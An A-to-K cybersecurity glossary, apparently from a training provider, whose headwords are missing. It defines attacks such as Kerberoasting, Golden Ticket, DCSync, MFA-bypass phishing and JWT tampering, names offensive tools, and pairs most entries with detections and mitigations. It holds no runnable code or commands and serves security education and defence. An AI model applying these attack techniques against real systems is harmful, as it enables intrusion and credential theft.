Cybersecurity Glossary A–Z

Policies determining who can access which resources. Three core models: DAC (resource owner sets permissions), MAC (system enforces clearance levels), RBAC (permissions tied to job function). Broken access control is the OWASP 2021 number-one vulnerability — root cause of IDOR, privilege escalation, and most data breaches.

A security credential representing identity and permissions, issued after login and presented to resource servers instead of raw credentials. Types: Bearer tokens, JWT, and OAuth access tokens. Token theft via XSS or malware enables account takeover without credentials. Short lifetimes and token binding reduce the impact of theft.

Discovering valid usernames by observing application response differences. A login error of "Username not found" vs "Incorrect password" reveals valid accounts. Timing differences in bcrypt hash comparison also leak valid accounts. Countermeasure: identical error messages and response times regardless of username validity.

Gaining full control of a user account via phishing, credential stuffing, session hijacking, or authentication bypass. Attackers then operate as the victim, evading detection by using legitimate credentials. Mitigation: MFA, session anomaly detection, impossible travel alerts in UEBA systems.

Microsoft directory service managing users, computers, and resources — the authentication backbone of 90%+ of enterprises. Primary target in breach operations: Golden Ticket, DCSync, Kerberoasting, AS-REP Roasting, and Pass-the-Hash all target AD. Hardening: tiered admin model, LAPS, Credential Guard, Protected Users security group.

Sophisticated, long-running campaign by a well-resourced nation-state actor prioritising stealth — maintaining access for months to years. India-relevant APTs: APT36/Transparent Tribe (Pakistan nexus), SideWinder (South Asia), Lazarus Group (North Korea), Donot Team (Indian government and military targeting).

Techniques manipulating AI/ML systems: adversarial examples (imperceptibly modified inputs causing misclassification), data poisoning (contaminating training data), and model inversion (reconstructing training data from model outputs). Relevant to AI-powered security tools and ML-based threat detection systems.

Phishing deploying a reverse proxy between victim and legitimate login page — capturing both credentials AND post-authentication session cookies, bypassing MFA entirely. Frameworks: Evilginx2, Modlishka, Muraena. The dominant account takeover technique against MFA-protected Microsoft 365.

Physical isolation from all external connections including internet and Bluetooth. Stuxnet proved air gaps are not impenetrable — bridged via infected USB drives. Researchers have also demonstrated bridging via acoustic signals, electromagnetic emissions, and heat variations from air-gapped systems.

Security policies defining what is permitted (allowlist) or denied (blocklist). Application allowlisting permits only approved software to execute — highly effective against malware but operationally complex. Allowlisting is significantly stronger than blocklisting because it defaults to deny-all.

DDoS technique exploiting protocol asymmetry — a small request to a reflector generates a much larger response directed at the victim. DNS amplification: 75x. NTP: 556x. Memcached: 51,000x. The reflector also hides the attacker real IP. Mitigated by BCP38 ingress filtering at ISPs.

Identifying deviations from established baselines rather than matching known signatures. A user logging in at 3 AM who never has; a server making novel external connections; data volumes 10x normal. Powers modern UEBA and NDR systems. Higher false positive rates than signature detection — requires careful tuning.

Techniques hindering forensic investigation and concealing evidence. Methods: log clearing, file deletion, timestomping, disk wiping, fileless malware leaving no disk artefacts. Detection: gaps in event log sequences or cleared Security/System logs are themselves forensic indicators requiring investigation.

Securing Application Programming Interfaces — the dominant modern attack surface. OWASP API Security Top 10: Broken Object Level Authorization, Broken Authentication, Excessive Data Exposure, Lack of Rate Limiting, Mass Assignment. APIs are frequently under-tested and expose more functionality than the user interface.

Sending fake ARP reply packets to associate the attacker MAC with a legitimate IP, redirecting LAN traffic through the attacker. Detectable via dynamic ARP inspection on managed switches and ARP monitoring tools like arpwatch.

Active Directory attack targeting accounts with Kerberos pre-authentication disabled. Any user can request an encrypted AS-REP without authenticating — the ticket is encrypted with the account password hash and crackable offline with hashcat. Detection: Event ID 4768 with pre-auth type 0x0.

Address Space Layout Randomisation — OS security feature randomising memory addresses of stack, heap, and libraries, making memory corruption exploits significantly harder. Combined with NX/DEP and stack canaries, ASLR is the modern exploit mitigation baseline. Bypassed by information leaks revealing base addresses.

Comprehensive catalogue of all hardware, software, data, and cloud resources — the foundation of vulnerability management. You cannot protect what you do not know exists. Shadow IT is the primary gap. CERT-In guidelines require accurate asset inventories. Free tools: Nmap, Rumble community edition, AWS Config.

The process of identifying who is responsible for a cyberattack. Levels: technical (malware code, C2 infrastructure, TTPs), operational (timing, target selection), strategic (geopolitical context, beneficiary analysis). Attribution is inherently uncertain — sophisticated actors plant false flags. Focus on TTP-based defensive improvements rather than attribution.

The complete sequence of techniques from initial access to final objective. Understanding the full chain enables defenders to identify the earliest reliable detection point. A chain broken at any stage prevents the attacker from reaching their objective — defence does not require catching every technique.

The total sum of all points where an attacker can try to enter or extract data — every exposed service, API endpoint, employee email, third-party integration, and software dependency. Attack surface reduction is more effective than attempting to secure every exposed point.

Verifying a claimed identity. Three factors: something you know (password), something you have (token), something you are (biometric). MFA combines two or more factors. Broken authentication is consistently one of the top causes of data breaches globally.

Circumventing an authentication mechanism without valid credentials. Methods: SQL injection in login forms, JWT algorithm confusion, password reset logic flaws, default credentials, OAuth misconfigurations. Among the highest-severity bug bounty findings because it grants access without any valid account.

Determining what actions an authenticated identity is permitted to perform. Authentication answers who you are — authorisation answers what you can do. Broken authorisation (OWASP A01 2021) allows authenticated users to perform actions beyond their permission level.

One of the CIA Triad pillars — information and systems accessible when needed. Attacks against availability: DDoS, ransomware, destructive wipers. OT/ICS security inverts priority to Availability first — an unavailable power grid or water treatment plant causes immediate physical harm.

Covert method bypassing normal authentication for persistent remote access — ranging from simple netcat listeners to sophisticated implants (Cobalt Strike beacons) with encrypted communications and anti-forensic capabilities. Often planted after initial compromise as a fallback.

Social engineering leaving infected media (USB drives) for targets to find and use out of curiosity. Stuxnet was reportedly delivered to Iranian nuclear facilities via infected USBs. Defence: policies prohibiting unknown media, USB port control, endpoint autorun blocking.

Regular scheduled check-in communications from malware to its C2 server. Cobalt Strike adds jitter (random timing variation) to evade detection. Detection: RITA (free, Black Hills IS) identifies beaconing via statistical regularity analysis of Zeek connection logs.

Manipulating Border Gateway Protocol announcements to redirect internet traffic through attacker infrastructure. BGP lacks cryptographic authentication. RPKI provides cryptographic route origin validation. BGPmon (free) provides BGP anomaly monitoring.

Finding and exploiting memory corruption vulnerabilities (buffer overflows, use-after-free) to achieve code execution or privilege escalation. Requires understanding x86/x64 architecture, memory management, and OS security mitigations. Foundation of CTF pwn challenges and advanced red team operations.

Authentication using unique biological characteristics: fingerprint, face, iris, retina, voice. Cannot be reset if compromised — you cannot change your fingerprints. Stored as mathematical templates, not images. Liveness detection mitigates spoofing attacks using fake fingerprints or photos.

Free, open-source Active Directory attack path visualisation tool. Maps AD relationships (group memberships, ACLs, delegation) as a graph and identifies the shortest attack paths to Domain Admin from any starting point. Attackers use it to find privilege escalation paths; defenders use it to identify and eliminate dangerous AD relationships.

The defensive security team: SOC monitoring, incident response, threat hunting, detection engineering, security architecture, and vulnerability management. Effectiveness tested by Red Team and improved through Purple Team collaborative exercises.

Network of compromised devices controlled via C2 infrastructure. Uses: DDoS, spam, credential stuffing, cryptomining, and ransomware distribution. abuse.ch Feodo Tracker (free) lists active C2 servers updated every 5 minutes.

Systematically attempting credentials. Types: dictionary (common passwords), credential stuffing (breach pairs — most effective), password spraying (one password across many accounts to avoid lockout). Detection: repeated Event ID 4625 failures, authentication spike detection in SIEM.

A program writes more data to a buffer than it can hold, overwriting adjacent memory — allowing attackers to redirect execution to shellcode. Mitigated by ASLR, NX/DEP, stack canaries, and memory-safe languages (Rust, Go).

Programmes paying security researchers to find and responsibly disclose vulnerabilities. Platforms: HackerOne, Bugcrowd, Intigriti. Payouts: $100 for low-severity to $1,000,000+ for critical findings. Private programmes pay more and have lower duplicate rates. CGF Bug Bounty Bootcamp covers the complete methodology.

Social engineering via email impersonating trusted executives or vendors to manipulate employees into transferring money or sensitive data. The highest-revenue cybercrime globally — over $2.9 billion stolen in 2023 (FBI IC3). No malware involved — purely social manipulation.

Security challenges of employees using personal devices for work. MDM (Mobile Device Management) and MAM enforce security policies on personal devices. Unmanaged devices may lack encryption, patching, and security controls — creating data leakage risk.

Infrastructure and protocols attackers use to communicate with compromised systems — sending commands and receiving output. Channels: simple HTTP callbacks to covert protocols (DNS tunneling, domain fronting). C2 disruption kills the attacker operational capability. MITRE ATT&CK C2 tactic documents 18 techniques.

A free tripwire generating an instant alert when accessed or used. Deployed in locations only an attacker would access: a fake admin credential in a config file, a URL in a sensitive document, or an AWS key with no legitimate use. Canarytokens.org (free). Any trigger is a high-confidence indicator of compromise — zero false positives from legitimate use.

Security policy enforcement between cloud users and cloud providers. Provides: shadow IT visibility, compliance checking, data security (DLP), and threat protection (anomaly detection). Deployed inline (proxy) or via API integration. Essential for enforcing security policies on SaaS applications used without IT approval.

India national cybersecurity agency under MeitY. The 2022 Directions mandate: reporting 20 specific incident types within 6 hours of detection, maintaining logs for 180 days, mandatory NTP synchronisation. Non-compliance penalties up to Rs 1 lakh. CERT-In also issues vulnerability advisories for Indian organisations.

Trusted entity issuing digital certificates binding a public key to an identity. Let Encrypt (free) automated TLS certificate issuance, driving HTTPS adoption to 95%+ of web traffic. Certificate Transparency logs all issued certificates publicly — crt.sh is used for subdomain enumeration.

Associating a host with a specific certificate or public key rather than accepting any valid CA-signed certificate. Prevents MitM attacks using fraudulent but CA-signed certificates. Mobile apps hardcode expected certificate hashes. Bypass: Frida (free) hooks SSL validation functions. Challenge: pins must be updated when certificates expire.

Integrating security into Continuous Integration/Continuous Deployment pipelines. Security gates: SAST (code analysis on every commit), SCA (dependency vulnerability checking), secrets scanning (gitleaks, truffleHog — free), container image scanning (Trivy — free), IaC scanning (Checkov — free). Security gates automatically block deployment of vulnerable code.

Foundational security model: Confidentiality (accessible only to authorised parties), Integrity (accurate and unmodified), Availability (accessible when needed). Ransomware attacks all three simultaneously. OT/ICS security inverts priority to Availability first due to physical safety implications.

UI redressing attack tricking users into clicking hidden content on a transparent malicious overlay placed above a legitimate page. Defence: X-Frame-Options: DENY header, CSP frame-ancestors directive.

Continuous monitoring of cloud configurations against security best practices. Identifies misconfigurations: public S3 buckets, overpermissive IAM roles, unencrypted storage. Free tools: Prowler, ScoutSuite, Checkov. Most major cloud breaches involve CSPM-detectable misconfigurations.

Commercial adversary simulation framework widely adopted by red teams and pirated by threat actors. Features: Beacon C2 implant (HTTP/S, DNS, SMB channels with sleep and jitter), post-exploitation modules, lateral movement, and credential theft. JARM fingerprinting identifies Cobalt Strike servers on the internet.

Digitally signing software to verify publisher identity and code integrity. Attackers obtain signing certificates via theft or by compromising legitimate developers. Signed malware bypasses many security controls and is far more dangerous than unsigned samples.

Physical memory extraction exploiting DRAM data remanence — DRAM retains data after power loss. Attacker with physical access cools RAM and extracts it to read encryption keys and credentials. Countered by memory encryption (AMD SME/SEV).

Structured guidelines and controls organisations implement to meet regulatory requirements. Major frameworks relevant to India: ISO 27001, PCI-DSS, SOC 2, DPDP Act 2023, CERT-In Directions, RBI IT Framework, SEBI CSCRF. Compliance is a floor, not a ceiling — it represents minimum requirements, not optimal security.

Securing containerised workloads (Docker, Kubernetes). Attack surfaces: vulnerable base images, exposed Docker sockets, secrets in environment variables, container escape. Free tools: Trivy (image scanning), Falco (runtime detection), kube-bench (Kubernetes hardening).

Cross-Origin Resource Sharing misconfiguration allowing malicious sites to read sensitive API responses. Vulnerable patterns: reflecting any Origin header without validation, trusting null origin. Enables cross-site data theft of authenticated user data.

Extracting authentication credentials from memory, registry, or disk. Primary target: LSASS process memory — Mimikatz extracts NTLM hashes. Mitigations: Credential Guard, Protected Process Light for LSASS, EDR monitoring of LSASS access (Sysmon Event 10).

Automated injection of stolen username/password pairs from data breaches. Effective because users reuse passwords. Defence: MFA stops stuffing even with correct credentials; HIBP API checks for breached passwords; rate limiting slows automated attempts.

The science of breaking cryptographic systems. Shor algorithm (quantum) breaks RSA and ECC. Grover algorithm weakens symmetric encryption. AES-256 is quantum-resistant. RSA and ECC require migration to NIST PQC standards.

The ability to switch between cryptographic algorithms without requiring architectural changes — critical for PQC migration. Systems hardcoding specific algorithms require significant refactoring when deprecated. Cryptographically agile systems use abstracted crypto interfaces enabling algorithm swapping via configuration.

Unauthorised use of computing resources to mine cryptocurrency. AWS/Azure/GCP credential theft for cryptomining generates massive bills for victims. Detection: unexpected CPU spikes, cloud cost anomalies, DNS queries to mining pool domains.

Tricks a victim browser into making an unintended authenticated request. Browsers auto-include cookies — the server processes the request as legitimate. Defence: CSRF tokens, SameSite=Strict/Lax cookie attribute (now browser default reduces CSRF prevalence significantly).

Common Vulnerabilities and Exposures — standardised naming for disclosed vulnerabilities. Each CVE has a unique ID, description, and references. NVD enriches CVEs with CVSS scores. Over 250,000 CVEs assigned since 1999.

Common Vulnerability Scoring System — 0-10 severity scoring. Critical >= 9.0. Measures severity not risk — combine with EPSS (exploitation probability) and CISA KEV (confirmed exploited) for accurate prioritisation.

Lockheed Martin 7-stage attack model: Reconnaissance to Actions on Objectives. Each stage is a detection and disruption opportunity — earlier detection is more valuable. MITRE ATT&CK is the more granular, community-maintained evolution.

Evidence-based knowledge about threats including context, mechanisms, and actionable advice. Strategic (executive trends), Operational (campaign details), Tactical (IOCs and TTPs). Quality CTI answers what should we do, not just here is an IP list. MISP and OpenCTI are leading free platforms.

Portion of the internet accessible only via Tor or I2P. Hosts criminal marketplaces selling stolen credentials, RaaS kits, and fraud services. Security teams monitor dark web sources for leaked credentials and early warning of planned attacks against their organisation.

Dynamic Application Security Testing — analysing running applications from the outside. Tools: OWASP ZAP (free), Burp Suite. Finds runtime vulnerabilities that SAST misses: authentication issues, session flaws, and injection vulnerabilities in deployed applications.

An incident where sensitive or confidential data is accessed, disclosed, or stolen without authorisation. India DPDP Act 2023 requires notification to the Data Protection Board for personal data breaches. CERT-In Directions 2022 require reporting certain breaches within 6 hours. Global average cost: $4.45 million (IBM 2023).

Categorising data by sensitivity to determine appropriate security controls. Levels: Public, Internal, Confidential, Restricted. Classification drives access controls, encryption requirements, and breach notification obligations under the DPDP Act 2023 and sector regulations.

Unauthorised transfer of data from a target environment. Channels: HTTPS to cloud services (blends with legitimate traffic), DNS tunneling (bypasses most firewalls), email, and physical media. Detection: large outbound transfers, servers connecting to cloud storage, DNS query length anomalies.

Technology monitoring and preventing unauthorised data transmission. Inspects data in motion (network), at rest (storage), and in use (endpoints). Required by DPDP Act, PCI-DSS, and most compliance frameworks. Identifies sensitive patterns: Aadhaar numbers, PAN numbers, credit card numbers.

The concept that digital data is subject to the laws of the country in which it is collected or stored. India DPDP Act 2023 restricts certain personal data transfers. RBI requires financial data localisation within Indian borders. Organisations with global operations must map data flows and implement localisation controls.

Abuses the Domain Controller replication protocol — an attacker with sufficient AD privileges impersonates a DC and requests credential hashes for any account including krbtgt, enabling Golden Ticket creation. Detection: Event ID 4662 with replication permissions from non-DC accounts.

Overwhelming a target with traffic from many sources. Volumetric (UDP floods, DNS amplification), Protocol (SYN floods), Application layer (slow HTTP attacks). India critical infrastructure is a frequent target. Cloudflare Radar (free API) tracks global DDoS trends in real time.

AI-generated synthetic media convincingly depicting people saying or doing things they never did. Used for CEO fraud (cloned executive voice), disinformation, and identity verification bypass. Defence: out-of-band verification using known contact channels for all sensitive financial requests.

Techniques to avoid detection: masquerading (naming malware svchost.exe), timestomping, log clearing, process injection, obfuscation, and disabling AV/EDR. MITRE ATT&CK documents 42 defence evasion techniques — each with corresponding detection opportunities.

Multiple independent security layers so failure of any single layer does not result in breach. Perimeter firewall, network segmentation, EDR, SIEM, DLP, MFA, least-privilege. Required by most security frameworks including ISO 27001 and NIST CSF.

Exploiting vulnerabilities in converting serialised data (JSON, XML, binary Java serialisation) back into objects. Attackers craft malicious payloads triggering dangerous operations during deserialisation. Affected many enterprise Java applications. Rule: never deserialise data from untrusted sources without strict type validation.

Integration of security into DevOps workflows. Core practices: infrastructure as code with security scanning, automated security testing in CI/CD pipelines, secrets management (no credentials in code), container security scanning. Security as everyone responsibility, not just the security team.

Malware generating large numbers of pseudorandom domain names — one registered as C2. Detection: high NXDOMAIN response rates, queries for algorithmically-looking random-string domains.

A rogue DHCP server responding faster than the legitimate server, assigning itself as the default gateway — redirecting all client traffic through the attacker. Prevented by DHCP snooping on managed switches, which allows DHCP responses only from trusted ports.

Scientific discipline of identifying, preserving, collecting, analysing, and presenting digital evidence in legally admissible form. Key principles: evidence integrity, chain of custody, and non-alteration. CGF DFIR Bootcamp is a 270-day structured forensics programme.

Email authentication standards preventing spoofing. SPF lists authorised sending IPs. DKIM cryptographically signs emails. DMARC tells receivers what to do with failing emails (none/quarantine/reject). Organisations without DMARC p=reject are trivially spoofable — a critical BEC enabler.

Encoding data inside DNS queries/responses to exfiltrate data or maintain C2 through networks that allow DNS. Indicators: very long subdomain labels, high query rates to single nameservers, unusual DNS record types (TXT, NULL). Detection via Zeek dns.log statistical analysis.

Using CDNs to disguise C2 traffic — HTTPS appears in firewall logs as a legitimate CDN connection, but the encrypted Host header routes the request to the attacker backend. Major CDNs have moved to block domain fronting.

India Digital Personal Data Protection Act. Requirements: valid consent, data minimisation, breach notification to the Data Protection Board. Penalties up to Rs 250 crore per violation. Applies to all entities processing digital personal data of Indian citizens, including foreign entities.

The period between initial compromise and detection. Global average: 204 days (IBM 2023). Shorter dwell time means smaller blast radius — detection on day 1 vs day 200 is the difference between a minor incident and a catastrophic breach. Threat hunters actively reduce dwell time.

Security software continuously monitoring endpoint activity using behavioural analysis to detect threats. Unlike AV (signature-based), EDR detects behavioural anomalies. Free option: Elastic Defend with Elastic free tier. Essential modern control replacing standalone antivirus.

Forging the sender address of an email to appear from a trusted source. Enabled by lack of DMARC enforcement. The foundation of phishing and BEC attacks. Detection: analyse Authentication-Results headers, monitor DMARC aggregate reports.

Converting plaintext into ciphertext. Symmetric (AES-256-GCM): fast, same key. Asymmetric (RSA, ECDSA): public/private key pairs for key exchange and signatures. AES-256 is quantum-resistant. RSA and ECC are broken by Shor algorithm on a future CRQC — PQC migration is required.

Securing end-user devices against cyber threats. Evolution: AV (signatures) to HIPS (behaviour blocking) to EDR (detect and respond) to XDR (cross-source correlation). Modern endpoint security combines prevention, detection, and response. Endpoints are the primary initial access target in most attacks.

Systematic extraction of information from targets: accounts, shares, services, DNS records. Tools: Nmap (service), ffuf (web content), subfinder (DNS). Detection: high-rate connection attempts across many ports from a single source.

ML model predicting the probability a CVE will be exploited within 30 days. High CVSS + high EPSS = patch immediately. Low CVSS + high EPSS may be more urgent than high CVSS + low EPSS. Free API at api.first.org.

Physical access attack: brief physical access enables hardware keylogger installation, disk copying, or UEFI firmware rootkit implantation. Countered by full disk encryption, Secure Boot with measured boot, and physical tamper detection seals.

Rogue wireless AP mimicking a legitimate network — same SSID, often stronger signal — intercepting all victim traffic. Defence: VPN on all networks, 802.1X enterprise authentication. Detection: multiple APs with same SSID and different MACs.

Using legitimate cloud services (Dropbox, Slack, Telegram) for data exfiltration or C2 — blending with legitimate traffic. Detection requires DLP inspection, API monitoring, and unusual outbound data volume analysis.

Code or technique taking advantage of a vulnerability to cause unintended behaviour. Zero-day exploits target vulnerabilities with no available patch. ExploitDB catalogs 50,000+ public exploits. Metasploit Framework (free) automates exploit testing.

Combining multiple individual vulnerabilities into a single attack sequence to achieve higher impact. Example: XSS + CSRF + privilege escalation chained together for admin account takeover. Bug bounty hunters use chaining to increase vulnerability severity and payout.

Toolkit automating vulnerability exploitation against website visitors. Fingerprints browser and plugins, selects the relevant exploit, delivers malware without user interaction. Declined after browser sandboxing and Flash/Java deprecation.

Genuine threat that a security tool fails to detect — the most dangerous outcome. Measurement requires red team exercises and purple team operations. A detection rule that never fires should be validated against emulated attacks, not celebrated.

Alert fired for a legitimate event — the primary cause of alert fatigue. When 490 of 500 daily alerts are false, analysts learn to dismiss everything. Reducing false positives through tuning is essential for effective SOC operations.

Making malicious domains harder to block by constantly rotating their IP addresses using compromised hosts as proxies. Detection: domains with very short TTLs (under 300 seconds) and high-frequency IP changes across geographically distributed hosts.

Phishing-resistant authentication using public-key cryptography. The authenticator (YubiKey, Windows Hello, Touch ID) stores a private key and signs challenges — the private key never leaves the device and the signature is bound to the origin domain. Phishing sites cannot capture and replay credentials.

Monitoring files and directories for unauthorised changes by computing and comparing cryptographic hashes. Tools: OSSEC, AIDE (free), Tripwire. PCI-DSS requires FIM on critical system files. Detects: web shell uploads, trojanised system binaries, and configuration tampering.

Malware operating entirely in memory without writing files to disk. Delivered via PowerShell, WMI subscriptions, and macro documents. Detection requires memory scanning, PowerShell Script Block Logging, and behavioural EDR. Increasingly used in sophisticated attacks.

Network security control filtering traffic based on rules. NGFW adds application awareness, IPS, and TLS inspection. WAF inspects HTTP specifically. Firewalls are necessary but insufficient — they do not detect compromised internal hosts or inspect encrypted content.

Passive reconnaissance collecting publicly available target information: WHOIS, DNS records, Certificate Transparency logs, LinkedIn, job postings, Shodan. Informs all subsequent attack phases. CGF OSINT Masterclass covers comprehensive footprinting methodology.

Creating a bit-for-bit copy of storage media for analysis without modifying the original. Write-blockers prevent accidental modification. SHA-256 hash verification before and after ensures integrity — essential for legal admissibility of digital evidence.

C/C++ vulnerability where user input is passed directly as a format string to printf-family functions. Attackers control format specifiers to read memory (%x) or write to addresses (%n). Completely preventable by never using user input as a format string.

Automated testing sending malformed data to application inputs to discover crashes and vulnerabilities. Coverage-guided fuzzers (AFL++, libFuzzer — free) maximise path exploration. Web fuzzing (ffuf) discovers hidden endpoints. Google OSS-Fuzz found over 10,000 vulnerabilities in open source software.

Comparing current security posture against a target state (compliance standard, security framework, best practice baseline) to identify deficiencies. Output: a prioritised list of gaps, their risk impact, and a remediation roadmap. Gap analysis is the starting point for any security improvement programme.

Credentials, API keys, and private keys accidentally committed to Git repositories — retained in historical commits even after deletion. Free detection tools: gitleaks, truffleHog, git-secrets. GitHub secret scanning (free for public repos) automatically detects and notifies. A single exposed AWS key has resulted in $50,000+ cloud bills within hours.

Creates a forged Kerberos TGT using the krbtgt account NTLM hash — allowing authentication as any user with any privilege for up to 10 years. Requires krbtgt hash from DCSync. Detection: rotate krbtgt password twice, monitor for anomalous Kerberos ticket lifetimes.

Configuration policies applied to users and computers in Active Directory. Attackers with sufficient AD privileges can modify GPOs to push malicious configurations to thousands of machines simultaneously. Detection: Event ID 5136/5137 (Directory Service object modified/created).

Software occupying the grey area between legitimate software and outright malware — includes adware, spyware, potentially unwanted programs, and stalkerware. Stalkerware is used for intimate partner surveillance and is a significant privacy and safety concern.

Governance, Risk, and Compliance — integrated approach to organisational governance (policies, accountability), risk management (identifying and treating security risks), and regulatory compliance (ISO 27001, CERT-In, DPDP Act, SEBI CSCRF, RBI IT Framework). Essential for senior security roles in India regulated sectors.

Amazon cloud-native threat detection service analysing CloudTrail, VPC Flow Logs, and DNS logs using ML models. Key findings: cryptocurrency mining on EC2, credential compromise, unusual API calls. Should be enabled in every AWS account.

Reducing attack surface by removing unnecessary services, closing unused ports, and applying security configurations. CIS Benchmarks (free) provide prescriptive hardening guidance for every major OS and application. Deviation from baseline indicates misconfiguration or compromise.

Recovering plaintext passwords from captured hashes. Tools: hashcat (free, GPU-accelerated), John the Ripper (free). Techniques: dictionary attacks, mask attacks, and brute force. Hashcat cracks all 8-character NTLM hashes in under 3 hours on a modern GPU. Defence: long passphrases with modern adaptive hashing algorithms (bcrypt, Argon2).

Buffer overflow variant targeting heap-allocated memory. Exploited via heap grooming, use-after-free, and type confusion techniques. Required skill for browser exploitation, PDF parser attacks, and advanced binary exploitation.

Decoy system attracting attackers and collecting intelligence on techniques. Canary tokens (canarytokens.org — free) are lightweight honeypots — a URL, file, or credential generating an alert when accessed. Any access to a properly isolated honeypot is a high-confidence indicator of compromise.

Intrusion Detection System monitoring individual hosts rather than network traffic. Wazuh (free, open-source) integrates with Elastic Stack for a comprehensive free SIEM+HIDS solution. Complements network-based IDS — catches threats that generate no network traffic.

Dedicated physical device providing secure cryptographic key storage. Keys are generated and stored in tamper-resistant hardware and never exist in plaintext outside the HSM. Required by PCI-DSS for payment card processing. FIPS 140-2 Level 3 is the enterprise security standard.

HTTP response header instructing browsers to only connect via HTTPS. Prevents SSL stripping attacks. HSTS Preloading (hstspreload.org) adds the domain to browser hardcoded lists — protection even on first visit.

Exploits ambiguity between front-end and back-end HTTP parsing of Content-Length and Transfer-Encoding headers — allowing attackers to smuggle malicious requests the front-end does not see. Consistently earns $3,000-$25,000 on major bug bounty programmes.

Ransomware deployed by skilled human attackers who manually navigate victim networks. Operators perform extensive reconnaissance, exfiltrate data before encryption (double extortion), disable backups, escalate to domain admin. Result: far higher impact and ransom demands than automated ransomware.

Five-level framework assessing threat hunting capability. HMM-0: purely reactive. HMM-1: IOC-based hunting. HMM-2: TTP-based hunting mapped to ATT&CK. HMM-3: hypothesis-driven hunting. HMM-4: machine-assisted hunting with detection engineering pipeline. CGF Threat Hunting Bootcamp builds skills from HMM-0 to HMM-3.

Framework ensuring the right people have the right access to the right resources. Cloud IAM misconfigurations are the most common cause of cloud breaches. Free analysis tools: PMapper (AWS privilege escalation paths), Parliament (policy linting), Cloudsplaining.

System creating, maintaining, and managing digital identities and providing authentication services to applications. Major IdPs: Microsoft Entra ID, Google Workspace, Okta, ADFS. IdP compromise gives access to all connected applications simultaneously — extremely high impact.

Vulnerability where an application uses a user-controllable value to access objects without authorisation verification. Changing user_id=123 to user_id=124 and receiving another user data is textbook IDOR. The most consistently paid vulnerability in bug bounty.

Intrusion Detection System (alert only) and Intrusion Prevention System (alert + block). Signature-based: Snort, Suricata (free, thousands of community rules). Anomaly-based: establishes baseline and alerts on deviations. NSM using Suricata plus Zeek provides comprehensive free network visibility.

UEBA detection rule flagging authentication from geographically distant locations within a timeframe making physical travel impossible. Login from Mumbai followed by London 15 minutes later indicates credential theft. Should be combined with device fingerprinting and step-up authentication.

Structured process for managing security breaches. NIST lifecycle: Preparation, Detection and Analysis, Containment/Eradication/Recovery, Post-Incident Activity. CERT-In Directions 2022: report 20 specific incident types within 6 hours of detection.

Behavioural patterns indicating an attack is in progress — more durable than IOCs which expire as attackers change infrastructure. IOAs focus on behaviour: a Word document spawning PowerShell which downloaded and executed a file regardless of the specific domain, hash, or IP involved.

Forensic evidence of intrusion — IP addresses, file hashes, malicious domains, suspicious registry keys. Pyramid of Pain (David Bianco) ranks by attacker difficulty to change: hash (trivial) to TTPs (very hard). Hunt on TTPs for durable detection coverage.

Unintentional exposure of sensitive information. Types: error messages with stack traces, directory listings, verbose HTTP headers, backup files (.bak, .old), .git directory exposure (entire source code including credentials), and API responses containing more data than the UI displays.

Network technique blocking packets with source IP addresses that could not legitimately arrive on a given interface — preventing IP spoofing. BCP38 (RFC 2827) is the IETF best practice. If all ISPs implemented BCP38, amplification DDoS attacks would be eliminated.

The first stage of an attack — gaining the initial foothold. MITRE ATT&CK documents 10 techniques including: Phishing (most common), Exploitation of Public-Facing Applications, Valid Accounts, Supply Chain Compromise. Detection at initial access is most valuable — attacker has fewest tools deployed.

Threat from current or former employees, contractors, or partners misusing authorised access. Detection: UEBA baselining normal behaviour and alerting on deviations — mass downloads, access to unrelated data, large email attachments, or access after resignation notification.

Security for Internet of Things devices — embedded systems with limited resources and often no security design. Common vulnerabilities: default credentials, unencrypted communications, no update mechanism. India has significant IoT deployment in smart cities, power grids, and manufacturing — all targeted by adversaries.

Forging the source IP address of network packets. Used in DDoS amplification attacks (victim IP is the fake source of requests to amplifiers). BCP38 ingress filtering at ISPs mitigates spoofing-based amplification.

International standard for Information Security Management Systems (ISMS). ISO 27001:2022 has 93 controls across four themes: Organisational, People, Physical, and Technological. Widely required by enterprise clients and Indian government vendors. Complements CERT-In guidelines.

Removing software restrictions imposed by a device manufacturer, granting root-level access and bypassing app sandboxing and code signing enforcement. MDM policies should block jailbroken/rooted devices from accessing corporate resources.

Vulnerabilities in Java applications deserialising untrusted data — allowing code execution via gadget chains in the classpath. The Apache Commons Collections vulnerability affected thousands of applications. ysoserial generates Java deserialization payloads for testing.

Grants elevated permissions only when needed, for a limited time, for a specific purpose. Eliminates standing privileges. If a JIT-controlled account is compromised, the attacker has only a narrow window to exploit elevated permissions before access expires.

Injecting malicious data into JSON structures: breaking JSON structure (injecting quotes), parameter pollution, mass assignment (injecting privileged fields), and NoSQL injection (crafting MongoDB operators like $where in JSON input).

Compact token format for authentication. Security vulnerabilities: alg:none (unsigned tokens accepted), algorithm confusion (RS256 to HS256 using public key as HMAC secret), weak signing secrets crackable with hashcat, and kid injection. JWT Editor (free Burp extension) automates JWT attack testing.

Kroll Artifact Parser and Extractor — free forensic triage tool rapidly collecting and processing forensic artefacts from Windows systems. Targets define what to collect (event logs, registry, prefetch). Modules process artefacts through 300+ free parsers. A complete triage collection takes minutes instead of hours.

Requests a Kerberos Service Ticket for any SPN — encrypted with the service account password hash and crackable offline. Service accounts often have weak passwords and high privileges. Detection: Event ID 4769 with encryption type 0x17 (RC4-HMAC) from unusual accounts.

Authentication protocol used in Active Directory. Uses symmetric key cryptography and a trusted Key Distribution Centre. Kerberos is the target of: Kerberoasting, AS-REP Roasting, Golden Ticket, Silver Ticket, Pass-the-Ticket, and Skeleton Key attacks.

Cryptographic process by which two parties establish a shared secret over an insecure channel. Diffie-Hellman and ECDH are dominant protocols. Vulnerable to Shor quantum algorithm — post-quantum key exchange algorithms (ML-KEM/Kyber) are being adopted. Perfect Forward Secrecy: ephemeral keys ensure past sessions cannot be decrypted even if long-term keys are later compromised.

Processes for generating, distributing, storing, rotating, and revoking cryptographic keys. Poor key management — hardcoded keys, unrotated credentials — negates cryptographic protection. HashiCorp Vault (free open source) provides enterprise key management.

Software or hardware recording keystrokes — capturing passwords and all typed content. Software keyloggers hook keyboard APIs. Hardware keyloggers are physically inserted and undetectable by software — require physical inspection.

Sequential attack stage model used to understand and disrupt attacks. Lockheed Martin 7-stage Cyber Kill Chain is the original. Unified Kill Chain (18 phases) is a more complete modern version. MITRE ATT&CK is the most granular framework with 14 tactics and 200+ techniques.

Security for container orchestration platforms. Attack surface: exposed API server, RBAC misconfigurations, exposed etcd (contains all secrets), privileged containers, and lateral movement between pods. Free tools: kube-bench, Polaris, Trivy, Falco.

